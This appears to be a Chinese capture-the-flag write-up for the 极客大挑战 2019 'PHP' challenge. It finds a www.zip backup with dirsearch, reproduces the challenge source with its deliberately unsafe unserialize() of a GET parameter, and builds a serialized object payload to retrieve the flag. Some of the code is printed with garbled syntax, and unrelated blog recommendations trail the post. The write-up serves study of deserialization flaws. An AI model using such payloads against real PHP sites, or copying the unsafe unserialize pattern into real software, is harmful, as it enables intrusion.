19,[极客大挑战 2019]PHP1

这个好玩

看到备份网站字眼,用dirsearch扫描

在kali里打开

爆破出一个www.zip文件

访问一下

解压后是这个页面

class.php

<?php

include 'flag.php';

error_reporting(0);

class Name{

private $username = 'nonono';

private $password = 'yesyes';

public function __construct(username,password){

this-\>username = username;

this-\>password = password;

}

function __wakeup(){

$this->username = 'guest';

}

function __destruct(){

if ($this->password != 100) {

echo "</br>NO!!!hacker!!!</br>";

echo "You name is: ";

echo $this->username;echo "</br>";

echo "You password is: ";

echo $this->password;echo "</br>";

die();

}

if ($this->username === 'admin') {

global $flag;

echo $flag;

}else{

echo "</br>hello my friend~~</br>sorry i can't give you the flag!";

die();

}

}

}

?>

username=admin

password=100

flag.php

<?php

$flag = 'Syc{dog_dog_dog_dog}';

?>

index.php

<!DOCTYPE html>

<head>

<meta charset="UTF-8">

<title>I have a cat!</title>

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

<link rel="stylesheet" href="style.css">

</head>

<style>

#login{

position: absolute;

top: 50%;

left:50%;

margin: -150px 0 0 -150px;

width: 300px;

height: 300px;

}

h4{

font-size: 2em;

margin: 0.67em 0;

}

</style>

<body>

<div id="world">

<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯

</div>

<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!

</div>

<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">

<?php
include 'class.php';
select = _GET'select';
res=unserialize(@select);
?>

</div>

<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>

</div>

<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>

<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>

<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>

<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>

<script src="index.js"></script>

</body>

</html>

index.php中有个注释

**include 'class.php';**提到了class.php

**select = _GET'select';**定义了一个存放GET请求方法的变量select

**res=unserialize(@select);**将一个字符串反序列化为一个PHP变量

<?php

class Name{

private $username = 'admin';

private $password = '100';

}

$select = new Name();

res = serialize(@select);

echo $res

?>

运行得到反序列化代码

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

相关推荐
黎阳之光13 分钟前
数字孪生赋能全域水网,实现水资源管控与节水降碳双向提升
人工智能·物联网·算法·安全·数字孪生
福大大架构师每日一题37 分钟前
mediamtx v1.21.0 发布:Media-over-QUIC、RTSP、HLS、WebRTC 与安全能力全面升级
安全·webrtc
xian_wwq41 分钟前
【学习笔记】OWASP Agentic 应用安全(二)
笔记·学习·安全·owasp
小弥儿2 小时前
GitHub今日热榜 | 2026-09-04:Agent省 token 成今日主线
学习·开源·github
前端精髓2 小时前
NestJS 是什么(对着 Spring Boot 一起学习)
spring boot·后端·学习
kyrie_sakura3 小时前
MySQL数据库学习笔记2--系统函数(分组,单行,窗口函数)
数据库·学习·mysql
dadaobusi3 小时前
学习:XS-Gem5参数
学习
沪上企服通3 小时前
代账数据的可移植性设计:开放接口、账套导出与 exit strategy 工程笔记(上海 5 家样本对照)
笔记·策略模式
江湖人称菠萝包3 小时前
【Windows】《深入浅出Windows API程序设计:编程基础篇》笔记-Chapter8-子窗口控件
windows·笔记
LearnYard4 小时前
技术博主实测:2026年大语言模型辅助学习工具横向对比
人工智能·学习·语言模型